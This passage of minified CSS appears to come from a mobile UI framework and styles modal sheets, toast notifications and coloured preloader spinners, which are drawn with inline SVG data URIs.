.actions-modal.modal-in{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.sheet-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.sheet-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-backdrop.backdrop-in{visibility:visible;opacity:1}.sheet-modal{position:absolute;left:0;bottom:0;width:100%;height:260px;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:12500}.sheet-modal.modal-in,.sheet-modal.modal-out{-webkit-transition-duration:.3s;transition-duration:.3s}.sheet-modal.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.sheet-modal.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.sheet-modal.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.sheet-modal .sheet-modal-inner{height:100%;position:relative;overflow:hidden}.sheet-modal .toolbar{position:relative;width:100%}.ios .sheet-modal{background:#cfd5da}.ios .sheet-modal .toolbar{background:#f7f7f8}.ios .sheet-modal .toolbar+.sheet-modal-inner{height:calc(100% - 44px)}.ios .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:0}.ios .sheet-modal .toolbar:before{content:'';position:absolute;background-color:#929499;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .sheet-modal .toolbar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .sheet-modal .toolbar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios.device-iphone-x .sheet-modal .sheet-modal-inner>.page-content,.ios.device-iphone-x .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .theme-dark .sheet-modal,.sheet-modal.ios .theme-dark{background-color:#171717}.ios .theme-dark .sheet-modal .toolbar,.sheet-modal.ios .theme-dark .toolbar{background-color:#1b1b1b}.ios .theme-dark .sheet-modal .toolbar:before,.sheet-modal.ios .theme-dark .toolbar:before{background-color:#282829}.md .sheet-modal{background:#fff}.md .sheet-modal .toolbar{top:0}.md .sheet-modal .toolbar:after{display:none}.md .sheet-modal .toolbar+.sheet-modal-inner{height:calc(100% - 48px)}.md .sheet-modal .toolbar a.link:not(.tab-link){-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.md .sheet-modal .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.sheet-modal-inner .page-content{padding-top:0}.md.device-iphone-x .sheet-modal .sheet-modal-inner>.page-content,.md.device-iphone-x .sheet-modal .toolbar~.sheet-modal-inner .page-content{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.md .theme-dark .sheet-modal{background-color:#202020}.toast{-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;position:absolute;max-width:568px;z-index:20000;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box}.toast.modal-in{opacity:1}.toast .toast-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.toast .toast-text{line-height:20px;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;min-width:0}.toast .toast-button{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.toast.toast-with-icon .toast-content{display:block;text-align:center}.toast.toast-with-icon .toast-text{text-align:center}.toast.toast-with-icon .toast-icon .f7-icons{font-size:50px;width:50px;height:50px}.toast.toast-with-icon .toast-icon .material-icons{font-size:48px;width:48px;height:48px}.toast.toast-center{top:50%;opacity:0}@media (min-width:1024px){.toast{opacity:0}}html.with-statusbar.device-ios .toast-top,html.with-statusbar.ios:not(.device-ios):not(.device-android) .toast-top{margin-top:20px}html.with-statusbar.device-iphone-x .toast-top{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}html.with-statusbar.device-android .toast-top,html.with-statusbar.md:not(.device-ios):not(.device-android) .toast-top{margin-top:24px}.ios .toast{-webkit-transition-duration:450ms;transition-duration:450ms;background:rgba(0,0,0,.75);opacity:0;width:100%;left:0}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.ios .toast{background:rgba(0,0,0,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}.ios .toast.toast-center{width:auto;left:50%;border-radius:8px;-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0)}.ios .toast.toast-center.modal-in{-webkit-transform:translate3d(-50%,-50%,0);transform:translate3d(-50%,-50%,0);opacity:1}.ios .toast.toast-top{top:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ios .toast.toast-top.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.ios .toast.toast-bottom{bottom:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ios .toast.toast-bottom.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}@media (min-width:569px){.ios .toast{left:50%;margin-left:-284px}.ios .toast.toast-center{margin-left:0}}@media (min-width:569px){.ios .toast{border-radius:8px}.ios .toast.toast-bottom{bottom:15px}.ios .toast.toast-top{top:15px}}@media (min-width:1024px){.ios .toast{margin-left:0;width:auto}.ios .toast.toast-bottom,.ios .toast.toast-top{left:15px}}.ios .toast-content{padding:12px 15px}.ios .toast-button{color:#fff;margin-left:15px}@media (max-width:568px){.ios.device-iphone-x .toast-bottom .toast-content{padding-bottom:calc(12px + constant(safe-area-inset-bottom));padding-bottom:calc(12px + env(safe-area-inset-bottom))}}@media (min-width:569px){.ios.device-iphone-x .toast-bottom{bottom:calc(15px + constant(safe-area-inset-bottom));bottom:calc(15px + env(safe-area-inset-bottom))}}.md .toast{-webkit-transition-duration:.2s;transition-duration:.2s;border-radius:4px;background:#323232;opacity:0;left:8px;width:calc(100% - 16px);-webkit-transform:scale(.9);transform:scale(.9)}.md .toast.modal-in{-webkit-transform:scale(1);transform:scale(1);opacity:1}.md .toast.modal-out{-webkit-transform:scale(1);transform:scale(1);opacity:0}.md .toast.toast-center{left:50%;width:auto;background:rgba(0,0,0,.75);-webkit-transform:scale(.9) translate3d(-55%,-55%,0);transform:scale(.9) translate3d(-55%,-55%,0)}.md .toast.toast-center.modal-in{-webkit-transform:scale(1) translate3d(-50%,-50%,0);transform:scale(1) translate3d(-50%,-50%,0)}.md .toast.toast-center.modal-out{-webkit-transform:scale(1) translate3d(-50%,-50%,0);transform:scale(1) translate3d(-50%,-50%,0)}.md .toast.toast-bottom{bottom:8px}.md .toast.toast-top{top:8px}@media (min-width:584px){.md .toast{left:50%;margin-left:-284px}.md .toast.toast-center{margin-left:0}}@media (min-width:1024px){.md .toast{margin-left:0;width:auto}.md .toast.toast-bottom,.md .toast.toast-top{left:24px}.md .toast.toast-bottom{bottom:24px}.md .toast.toast-top{top:24px}}.md .toast-content{padding:14px 24px}.md .toast-button{margin-top:-8px;margin-bottom:-8px;margin-left:16px;margin-right:-8px}@media (max-width:568px){.md.device-iphone-x .toast-bottom .toast-content{padding-bottom:calc(14px + constant(safe-area-inset-bottom));padding-bottom:calc(14px + env(safe-area-inset-bottom))}}@media (min-width:1024px){.md.device-iphone-x .toast-bottom.modal-in{margin-bottom:constant(safe-area-inset-bottom);margin-bottom:env(safe-area-inset-bottom)}}.preloader{display:inline-block;vertical-align:middle}.preloader-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;-webkit-transition-duration:.4s;transition-duration:.4s;visibility:visible;opacity:0;background:0 0}.preloader-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.preloader-backdrop.backdrop-in{visibility:visible;opacity:1}.preloader-modal{position:absolute;left:50%;top:50%;padding:8px;background:rgba(0,0,0,.8);z-index:13500;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.preloader-modal .preloader{display:block!important}html.with-modal-preloader .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.ios .preloader{width:20px;height:20px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%236c6c6c'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E");background-position:50%;background-size:100%;background-repeat:no-repeat;-webkit-animation:ios-preloader-spin 1s steps(12,end) infinite;animation:ios-preloader-spin 1s steps(12,end) infinite}.ios .preloader-modal{border-radius:5px}.ios .preloader-modal .preloader{width:34px;height:34px}.ios .preloader.color-red,.ios .preloader.preloader-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff3b30'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-green,.ios .preloader.preloader-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%234cd964'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-blue,.ios .preloader.preloader-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23007aff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-pink,.ios .preloader.preloader-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff2d55'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-yellow,.ios .preloader.preloader-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffcc00'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-orange,.ios .preloader.preloader-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ff9500'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-gray,.ios .preloader.preloader-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%238e8e93'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-white,.ios .preloader.preloader-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffffff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E")}.ios .preloader.color-black,.ios .preloader.preloader-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23000000'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'